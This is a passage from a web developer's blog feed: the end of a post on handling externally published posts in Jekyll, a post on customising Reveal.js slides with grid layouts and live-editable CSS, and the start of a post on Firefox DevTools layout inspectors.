&lt;p&gt;With Jeykll, each post is a single text file which is then processed into a proper blog. It is probably possible to utilise data files to somehow intersperse external links with internal posts but it&apos;s too much for my little brain to figure out, so I even with external posts, I create a post file for each.&lt;/p&gt;
&lt;p&gt;Since I already have the file, I just write my draft into that markdown file as I would any other post on my site. When my post gets released on the external publication, I will also “publish” the link on my site. Because we can replace the internal link with an external one anywhere a link to the article needs to show up.&lt;/p&gt;
&lt;p&gt;And here&apos;s where I messed up.&lt;/p&gt;
&lt;p&gt;Even though I had set it up such that any internal links to the article body were replaced with the external URL of the published article, I had failed to change the canonical link metatag on the post &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;cross mark&quot;&gt;❌&lt;/span&gt;, and included them in my RSS feed &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;cross mark&quot;&gt;❌&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Canonical links&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://yoast.com/rel-canonical/&quot;&gt;Canonical links&lt;/a&gt;, I recently learned, are very important for search engine optimisation. Yes, you may judge me for being in this industry for years without really understanding SEO. Judge away, my friends. A canonical URL specifies the preferred version of a web page, often this should be the original source of the content.&lt;/p&gt;
&lt;p&gt;When there are multiple versions of similar content, search engines won&apos;t know which one to display in their search results. By picking and indicating which version is canonical, this solves the duplicate content problem.&lt;/p&gt;
&lt;p&gt;We do this by setting a &lt;code&gt;rel=canonical&lt;/code&gt; in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of all other non-canonical versions as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;link rel=&amp;quot;canonical&amp;quot; href=&amp;quot;https://PATH_TO_THE_CANONICAL_VERSION&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this additional metatag, search engines will count links to other versions of the content to the canonical version. If and when you decide you want to republish anything, remember to set this correctly on your post.&lt;/p&gt;
&lt;p&gt;Currently in version v3.8.5, Jekyll installs with a gem-based theme called Minima. For gem-based themes, the template files exist within the theme&apos;s gem, and you won&apos;t be able to see them directly. However, any of these theme defaults can be overriden, or you can create your own custom theme directly.&lt;/p&gt;
&lt;p&gt;To replace any of these theme files, create the relevant files and folders in your project. The &lt;a href=&quot;https://jekyllrb.com/docs/themes/&quot;&gt;Jekyll documentation&lt;/a&gt; gives you step by step instructions and I suggest going through it.&lt;/p&gt;
&lt;p&gt;To distinguish between an external post and an internal post, you&apos;ll have to add some &lt;a href=&quot;https://jekyllrb.com/docs/front-matter/&quot;&gt;Front Matter&lt;/a&gt; to the external post that the template can use as an identifier. In my case, I add 2 variables, &lt;code&gt;external_site&lt;/code&gt; and &lt;code&gt;external_url&lt;/code&gt;, to all external posts.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;external_url: https://PATH_TO_THE_CANONICAL_VERSION
external_site: PUB_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These 2 variables will be used in a number of places, one of which is the default template to make sure the canonical link is set correctly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% raw %}{% if page.external_url %}
&amp;lt;link rel=&amp;quot;canonical&amp;quot; href=&amp;quot;{{ page.external_url }}&amp;quot; /&amp;gt;
{% else %}
&amp;lt;link
  rel=&amp;quot;canonical&amp;quot;
  href=&amp;quot;{{ page.url | replace:&apos;index.html&apos;,&apos;&apos; | prepend: site.baseurl | prepend: site.url }}&amp;quot;
/&amp;gt;
&amp;lt;link rel=&amp;quot;alternate&amp;quot; type=&amp;quot;application/atom+xml&amp;quot; title=&amp;quot;{{ site.title }}&amp;quot; href=&amp;quot;{{ &amp;quot;/feed.xml&amp;quot; |
prepend: site.baseurl | prepend: site.url }}&amp;quot;&amp;gt; {% endif %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Replacing internal URLs with external URLs&lt;/h2&gt;
&lt;p&gt;With the 2 custom variables defined in the Front Matter of the post, we can also replace any instances of the internal post URL with the proper external URL. Usually this occurs in listings, either on your main page, or blog/writing page.&lt;/p&gt;
&lt;p&gt;The template for listing posts usually looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ul&amp;gt;
  {% raw %}{% for post in site.posts %}
  &amp;lt;li&amp;gt;
    &amp;lt;a href=&amp;quot;{{ post.url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
  &amp;lt;/li&amp;gt;
  {% endfor %}{% endraw %}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Swapping out the URLs can be done with a conditional:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ul&amp;gt;
  {% raw %}{% for post in site.posts %}
  &amp;lt;li&amp;gt;
    {% if post.external_url %}
    &amp;lt;a href=&amp;quot;{{ post.external_url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
    {% else %}
    &amp;lt;a href=&amp;quot;{{ post.url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
    {% endif %}
  &amp;lt;/li&amp;gt;
  {% endfor %}{% endraw %}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Visual cues for external links&lt;/h2&gt;
&lt;p&gt;We can use the &lt;code&gt;external_site&lt;/code&gt;, custom variable to add a relevant CSS class for styling the external link.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;a class=&amp;quot;{{ post.external_site }} external-url&amp;quot; href=&amp;quot;{{ post.external_url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;which generates the following markup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;a class=&amp;quot;PUB_NAME external-url&amp;quot; href=&amp;quot;https://PATH_TO_THE_CANONICAL_VERSION&amp;quot;
  &amp;gt;The title of your article&amp;lt;/a
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I chose to use pseudo-elements to prepend the logo of the publication to my link, and an icon that indicates a link-out to the end of the link.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.external-url::before,
.external-url::after {
  content: &amp;quot;&amp;quot;;
  display: inline-block;
  height: 0.8em;
  width: 0.8em;
}

.external-url::before {
  margin-right: 0.25em;
  background-size: cover;
}

.external-url::after {
  background: url(&amp;quot;/images/icons/icon-link.svg&amp;quot;) no-repeat;
  background-size: cover;
  margin-left: 0.25em;
}

.PUB_NAME::before {
  background: url(&amp;quot;/images/icons/PUB_LOGO.svg&amp;quot;) no-repeat;
  background-size: cover;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you write for a number of different publications, then you&apos;ll have to add more classes for each publication and their corresponding logo.&lt;/p&gt;
&lt;h2&gt;Generated RSS feed&lt;/h2&gt;
&lt;p&gt;Jekyll has an official plugin for generating RSS feeds called &lt;a href=&quot;https://github.com/jekyll/jekyll-feed&quot;&gt;jekyll-feed&lt;/a&gt;, and to activate it, you&apos;ll have to add it to your &lt;code&gt;_config_yml&lt;/code&gt; file. This plugin works if your site is hosted on GitHub Pages as well, and automatically generates an Atom feed at &lt;code&gt;/feed.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To override the default template, you can create your own &lt;code&gt;feed.xml&lt;/code&gt; file in the root of your project. The key is to add a conditional to exclude certain posts. I added another custom Front Matter variable called &lt;code&gt;nofeed&lt;/code&gt; to my external posts.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;nofeed: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, used it as a conditional in the part of &lt;code&gt;feed.xml&lt;/code&gt; that generates the list of items:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;{% raw %}{% for post in site.posts limit:15 %}
  {% unless post.nofeed %}
  &amp;lt;item&amp;gt;
    &amp;lt;title&amp;gt;{{ post.title | xml_escape }}&amp;lt;/title&amp;gt;
    &amp;lt;description&amp;gt;{{ post.content | xml_escape | truncatewords:120}}&amp;lt;/description&amp;gt;
    &amp;lt;pubDate&amp;gt;{{ post.date | date_to_rfc822 }}&amp;lt;/pubDate&amp;gt;
    &amp;lt;link&amp;gt;{{ post.url }}&amp;lt;/link&amp;gt;
    &amp;lt;guid isPermaLink=&amp;quot;true&amp;quot;&amp;gt;{{ post.url }}&amp;lt;/guid&amp;gt;
  &amp;lt;/item&amp;gt;
  {% endunless %}
{% endfor %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Additional things you could do&lt;/h2&gt;
&lt;p&gt;If you include a snippet of truncated content as a summary on your listings, it might be nice to add a note right at the top that indicates where the article was originally published.&lt;/p&gt;
&lt;p&gt;You may also consider adding a &lt;code&gt;noindex&lt;/code&gt; metatag to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of external posts, if you don’t want the internal post URL to end up on search engines at all, but this might be a bit of an overkill because as long as the canonical URL is set, this shouldn’t affect the SEO of the original content. I think.&lt;/p&gt;
&lt;p&gt;Another thing to try is to use a random string as the source filename to minimise the odds people will manually type the internal URL, again, this might be overkill after everything else you already did.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Well, this sums up the stuff I learned about dealing with external posts on Jekyll. Maybe it&apos;ll help someone out. Stay conscientious, my friends.&lt;/p&gt;
&lt;h2&gt;Related reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://yoast.com/rel-canonical/&quot;&gt;rel=canonical: the ultimate guide&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://jekyllrb.com/docs/themes/&quot;&gt;Jekyll documentation: Themes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://robots.thoughtbot.com/external-posts-in-jekyll&quot;&gt;External Posts In Jekyll &lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.thetim.blog/exclude-posts-from/&quot;&gt;Exclude Posts From RSS in Jekyll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learningnerd.com/2017/05/30/&quot;&gt;Liz Krane’s notes on Jekyll&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Customising Reveal.js beyond creating a personalised theme</title><link>https://chenhuijing.com/blog/customising-revealjs-beyond-theming/</link><guid isPermaLink="true">https://chenhuijing.com/blog/customising-revealjs-beyond-theming/</guid><description>As I start preparing for a couple talks I will be giving for 2019, I realised that my first talk for 2019 (at CSSConf China) will end up being my…</description><pubDate>Sun, 27 Jan 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As I start preparing for a couple talks I will be giving for 2019, I realised that my first talk for 2019 (at CSSConf China) will end up being my 50&lt;sup&gt;th&lt;/sup&gt; slidedeck built with &lt;a href=&quot;https://github.com/hakimel/reveal.js/&quot;&gt;Reveal.js&lt;/a&gt;. I&apos;d used this presentation framework since I first started giving talks, and &lt;a href=&quot;/blog/revealjs-and-github-pages/&quot;&gt;wrote about the basics back then&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After 50 iterations, my slides these days are pretty heavily customised so I thought it&apos;d be nice to write up some of the things I do to them. With them. Whatever.&lt;/p&gt;
&lt;p&gt;In that earlier article, I included a very brief paragraph on creating your own theme. Although Reveal.js has been updated multiple times over the past 3 years, the basic gist of things remain the same. I still stand by my original suggestion to delete the bundled themes, and customise off &lt;code&gt;simple.scss&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As of v3.7.0, the &lt;code&gt;css&lt;/code&gt; folder looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;css/
|-- print/
|   `-- …
|-- theme/
|   |-- source/
|   |   `-- …
|   `-- template/
|       |-- mixins.scss
|       |-- settings.scss
|       `-- theme.scss
`-- reveal.scss
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are a number of preset theme files and I suggest using &lt;code&gt;simple.scss&lt;/code&gt; as the base for your custom theme. Within the &lt;code&gt;template&lt;/code&gt; folder there are 3 &lt;code&gt;scss&lt;/code&gt; files contain base styles and variables that are imported into the theme stylesheets in the &lt;code&gt;source&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;Note that what I&apos;m describing is the structure that this framework provides out the box. You are completely free to change things up but you &lt;em&gt;may&lt;/em&gt; need to modify the &lt;code&gt;Gruntfile.js&lt;/code&gt; because that&apos;s what handles the compilation of source files.&lt;/p&gt;
&lt;p&gt;This is what my custom theme file looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/**
 * Custom theme for Reveal.js presentations.
 * Copyright (C) 2018 Chen Hui Jing, https://www.chenhuijing.com/
 */

// Default mixins and settings -----------------
@import &apos;../template/mixins&apos;;
@import &apos;../template/settings&apos;;
// ---------------------------------------------

// Include theme-specific fonts
@import url(&apos;../../lib/font/magnetic-pro/magnetic-pro.css&apos;);
@import url(&apos;../../lib/font/magnetic-pro-black/magnetic-pro-black.css&apos;);

// Theme template ------------------------------
@import &apos;../template/theme&apos;;

// ---------------------------------------------
// Customised styles for this presentation
.reveal {
  …
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The presentation itself by default loads 2 stylesheets, &lt;code&gt;reveal.css&lt;/code&gt; and &lt;code&gt;THEME.css&lt;/code&gt;, the latter being a customised theme file generated from &lt;code&gt;.scss&lt;/code&gt; files from the &lt;code&gt;source&lt;/code&gt; folder. These stylesheets are referenced in the &lt;code&gt;index.html&lt;/code&gt; file like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;
    &amp;lt;meta
      name=&amp;quot;viewport&amp;quot;
      content=&amp;quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no&amp;quot;
    /&amp;gt;
    &amp;lt;title&amp;gt;Your awesome presentation&amp;lt;/title&amp;gt;
    &amp;lt;meta name=&amp;quot;description&amp;quot; content=&amp;quot;A short description of what the talk is about&amp;quot; /&amp;gt;

    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;css/reveal.css&amp;quot; /&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;css/theme/jing.css&amp;quot; /&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;lib/css/zenburn.css&amp;quot; /&amp;gt;
  &amp;lt;/head&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If Sass is not your thing, then you can add your own custom CSS file and reference it directly as well. Reveal.js is highly customisable.&lt;/p&gt;
&lt;h2&gt;Creating custom layouts&lt;/h2&gt;
&lt;p&gt;Now that basic setup is somewhat covered, I&apos;m moving on to some of the fun stuff I tend to do with my presentations. By default, the content on the slides are centred on the page, but now that we have Grid, placing items on the page has become much easier.&lt;/p&gt;
&lt;p&gt;Taking a cue from presentation software which generally offers a number of templates to choose from for laying out different types of slides, we can create several layouts that we apply via CSS classes instead. For example, I have a layout class for a 2-column layout that looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.l-double {
  display: grid;
  grid-template-columns: 1fr 1fr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I have a couple other layout classes for patterns that occur multiple times throughout my slides, and there are also instances where I make one-off adjustments with inline CSS on the individual slides as well.&lt;/p&gt;
&lt;p&gt;For me, my slides serve as a tool to help me get my points across when I&apos;m giving a talk, so I often think of them as single-use. Could I have wrote up proper CSS classes for one-off layouts? Sure. But I&apos;d rather spend more time writing the content itself. But that&apos;s just me. You do you.&lt;/p&gt;
&lt;p&gt;Another layout class I have is for multiple items in a row:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.l-multiple {
  display: flex;
  justify-content: space-around;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I want to take this chance to highlight a bug in Blink that has been left open for the longest time, &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=721123&quot;&gt;Chrome doesn&apos;t preserve aspect ratio for flexed images in auto-height flex container&lt;/a&gt;, and does annoy me quite a bit. I had started to learn Flexbox a couple years back when Chrome was still my main browser and &lt;strong&gt;learnt the wrong thing&lt;/strong&gt; because I thought this bug was expected behaviour.&lt;/p&gt;
&lt;p&gt;It&apos;s not.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Firefox vs. Chrome for &lt;code&gt;flex: 1&lt;/code&gt;&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/revealjs/flex-bug-480.jpg 480w, /images/posts/revealjs/flex-bug-640.jpg 640w, /images/posts/revealjs/flex-bug-960.jpg 960w, /images/posts/revealjs/flex-bug-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/revealjs/flex-bug-640.jpg&quot; alt=&quot;&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Anyway, I&apos;ve since learnt to double check odd behaviour by going straight to the specification, then checking across browsers to see who&apos;s implementing it accordingly. My main browser is now Firefox. Just putting it out there. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Firefox vs. Chrome for &lt;code&gt;flex: auto&lt;/code&gt;&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/revealjs/flex-bug2-480.jpg 480w, /images/posts/revealjs/flex-bug2-640.jpg 640w, /images/posts/revealjs/flex-bug2-960.jpg 960w, /images/posts/revealjs/flex-bug2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/revealjs/flex-bug2-640.jpg&quot; alt=&quot;&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The best way to see the aforementioned bug in action is to load up &lt;a href=&quot;https://labs.jensimmons.com/2017/02-008.html&quot;&gt;Jen Simmon&apos;s flex shorthand examples page&lt;/a&gt; in Firefox (correct), Chrome (incorrect), Safari (incorrect) and Edge (correct) for comparison.&lt;/p&gt;
&lt;h2&gt;Hacking the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tag&lt;/h2&gt;
&lt;p&gt;I also end up wanting to show code examples in my presentations, though I try my best to keep the code short, displayed in a large font size with appropriate syntax highlighting. Sometimes, to better illustrate the effect of the code, I&apos;ll pair the code with an image or better still, a video clip of what the code does.&lt;/p&gt;
&lt;p&gt;One of the advantages of using a HTML framework like Reveal.js is the ability to add some live-coding to the slides themselves. I “borrowed” this technique from &lt;a href=&quot;https://una.im/&quot;&gt;Una Kravets&lt;/a&gt; after seeing her slides from &lt;a href=&quot;https://codepen.io/una/pen/Wjvdqm&quot;&gt;The Power of CSS Talk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There&apos;s nothing quite like seeing the effects of a code change happening live on the slides themselves, at least for me. And after poking through Una&apos;s code, which she so kindly put up on Codepen, I could see that it involved using the &lt;code&gt;contenteditable&lt;/code&gt; attribute on the &lt;code&gt;style&lt;/code&gt; tag.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;style contenteditable=&amp;quot;true&amp;quot;&amp;gt;
  /* Put CSS here and watch your page update as you type */
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With some additional styles, we could make the markup above into an editable code block that applies valid CSS rules onto the page. Some people might raise the validity of doing this, but I consider it a bit of a grey area.&lt;/p&gt;
&lt;p&gt;The current HTML specification states that the &lt;code&gt;style&lt;/code&gt; element can only be used in 2 contexts, where metadata content is expected, or in a &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; element that is the child of a &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element. In other words, &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags should only show up in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of a page.&lt;/p&gt;
&lt;p&gt;BUT, in the &lt;a href=&quot;https://www.w3.org/TR/html52/document-metadata.html#the-style-element&quot;&gt;HTML5.2 specification&lt;/a&gt;, one more context is specified: in the body, where flow content is expected. So officially, this approach is invalid HTML now, but it will be valid in future.&lt;/p&gt;
&lt;p&gt;The only style required is a &lt;code&gt;display&lt;/code&gt; value that generates a box (basically, any valid value except &lt;code&gt;none&lt;/code&gt;). But it&apos;s probably a good idea to pretty it up a bit more, so let&apos;s throw in some color and padding.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;style {
  display: block;
  background-color: #2d2d2d;
  color: #ccc;
  padding: 1em;
  white-space: pre;
  width: 100%;
  overflow: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ve added a live-code block below so you can mess up this page however you like to test it out. I also suggest inspecting the element with DevTools to work out which styles are doing what.&lt;/p&gt;
&lt;style style=&quot;display:inline-block;background-color:#2d2d2d;color:#ccc;padding:0.5em;overflow:auto;max-width:100%;border-radius:0.3em;font-family:monospace;margin-bottom:1em&quot; contenteditable=&quot;true&quot;&gt;p { background-color: transparent }&lt;/style&gt;
&lt;h2&gt;Live-coding CSS on presentation slides&lt;/h2&gt;
&lt;p&gt;So far, I&apos;ve used 2 layouts for live-coding on my slides, a 2-panel and a 3-panel. The 2-panel will consist of the markup I want to target on the left, and the CSS to be applied on the right. The markup for this layout looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;livecode livecode-2p&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;result&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;code&amp;quot;&amp;gt;&amp;lt;style class=&amp;quot;code-editor&amp;quot; contenteditable=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And for the 3-panel:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;livecode livecode-3p&amp;quot;&amp;gt;
  &amp;lt;pre class=&amp;quot;markup&amp;quot;&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;
  &amp;lt;div class=&amp;quot;result&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;code&amp;quot;&amp;gt;&amp;lt;style class=&amp;quot;code-editor&amp;quot; contenteditable=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reveal.js comes with the syntax highlighting library, &lt;a href=&quot;https://highlightjs.org/&quot;&gt;highlight.js&lt;/a&gt;, which is enabled by default. So as long as you loaded &lt;code&gt;zenburn.css&lt;/code&gt;, anything with &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; will have styles applied to them.&lt;/p&gt;
&lt;p&gt;Most of my styles are layout-related. I always run my slides in Firefox Nightly on stage, so I don&apos;t mind using many of the newer CSS properties. Though it is a good idea to run through the whole deck before going on stage, just to make sure things aren&apos;t broken. You never know.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.livecode {
  display: grid;
  grid-gap: 0.5em;
  margin: 0;
  padding: 0;

  .result {
    max-height: 100%;
    overflow-y: scroll;
    width: 100%;
    border: 1px dashed $headingColor;
  }

  .code {
    text-align: left;
    width: 100%;
    font-family: &amp;quot;Dank Mono&amp;quot;, monospace;
    font-size: 75%;
    color: #efdcbc;
    background-color: #3f3f3f;
    padding: 0.5em;
    border-radius: 0.25em;
    overflow-y: scroll;
  }
}

.code-editor {
  display: block;
  height: 100%;
  white-space: pre-wrap;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m using Grid, so the &lt;code&gt;.livecode&lt;/code&gt; class sets that up, then I have 2 different classes that specifies the grid and item placement for each layout respectively.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.livecode-2p {
  grid-template-columns: 50% 50%;
  grid-template-rows: 1fr;
  max-height: 65vh;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.livecode-3p {
  grid-template-columns: 50% 50%;
  grid-template-rows: max-content 1fr;
  grid-template-areas:
    &amp;quot;a b&amp;quot;
    &amp;quot;a c&amp;quot;;
  max-height: 70vh;

  .markup {
    grid-area: b;
  }

  .result {
    grid-area: a;
  }

  .code {
    grid-area: c;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Depending on the example you&apos;re trying to demonstrate, there may be additional styling tweaks and overrides to ensure your example works as expected, because Reveal.js itself has quite a lot of styles. But if you&apos;re going to be live-coding CSS on stage, I&apos;m going to make the assumption the cascade is not an issue for you.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;d received some feedback after my talks that being able to see the effects of CSS I&apos;m explaining in real-time helps in understanding, so I wanted to share exactly how I did up my slides. Another thing I&apos;ve started to experiment with is to ditch slides altogether and do the presentation with Firefox DevTools.&lt;/p&gt;
&lt;p&gt;We&apos;ll see how that turns out &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grimacing face&quot;&gt;😬&lt;/span&gt;. Happy CSS-ing, my friends!&lt;/p&gt;
</content:encoded></item><item><title>Using DevTools to understand modern layout techniques</title><link>https://chenhuijing.com/blog/devtools-for-understanding-modern-layout-techniques/</link><guid isPermaLink="true">https://chenhuijing.com/blog/devtools-for-understanding-modern-layout-techniques/</guid><description>I recently got the opportunity to visit the Mozilla Community Space in Jakarta and speak at MozKopdar JKT with Alex Lakatos. Instead of using slides, which was…</description><pubDate>Thu, 20 Dec 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I recently got the opportunity to visit the Mozilla Community Space in Jakarta and speak at &lt;a href=&quot;https://www.eventbrite.com/e/mozkopdarjkt-firefox-developer-tools-and-css-wizarding-world-tickets-52953036959&quot;&gt;MozKopdar JKT&lt;/a&gt; with &lt;a href=&quot;https://twitter.com/lakatos88/&quot;&gt;Alex Lakatos&lt;/a&gt;. Instead of using slides, which was my normal mode of delivery, I decided to go with presenting the concepts and techniques I wanted to share directly through DevTools. It turned out better than I expected.&lt;/p&gt;
&lt;p&gt;This made me start to think about the role of DevTools in a broader context. The primary role of DevTools is debugging, but it can also serve as a means of visualising how the browser interprets the code we write, especially for CSS layouts. A big help for understanding the newer layout techniques.&lt;/p&gt;
&lt;p&gt;The modern layouts triple team of Flexbox, Grid and Box alignment introduces certain concepts that may be harder to visualise than previous layout methods. And this is where &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Tools&quot;&gt;Firefox DevTools&lt;/a&gt;, IMHO, does a great job of facilitating that visualisation.&lt;/p&gt;
&lt;h2&gt;Flex Inspector Tool&lt;/h2&gt;
&lt;p&gt;Let&apos;s start with Flexbox. If sizing in Flexbox has always been an enigma to you, I highly recommend reading &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;&apos;s excellent breakdown, &lt;a href=&quot;https://www.smashingmagazine.com/2018/09/flexbox-sizing-flexible-box/&quot;&gt;Flexbox: How big is that flexible box?&lt;/a&gt; on Smashing Magazine.&lt;/p&gt;
&lt;p&gt;As of time of writing, the only browser with a Flex inspector tool is Firefox, and all the featured examples use Firefox Nightly (v66.0a1 (2018-12-19)). It uses a similar interface as the more well-known Grid inspector tool, where you toggle the tool via an icon next to the &lt;code&gt;display&lt;/code&gt; property value.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Toggle flex overlay&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-flex.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-flex.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;After toggling the flex overlay on the parent element, we can also observe what&apos;s going on for each flex child. Information on the flexibility and size of the flex child can be seen on the layout panel.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Showing the flexibility and size of flex children&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
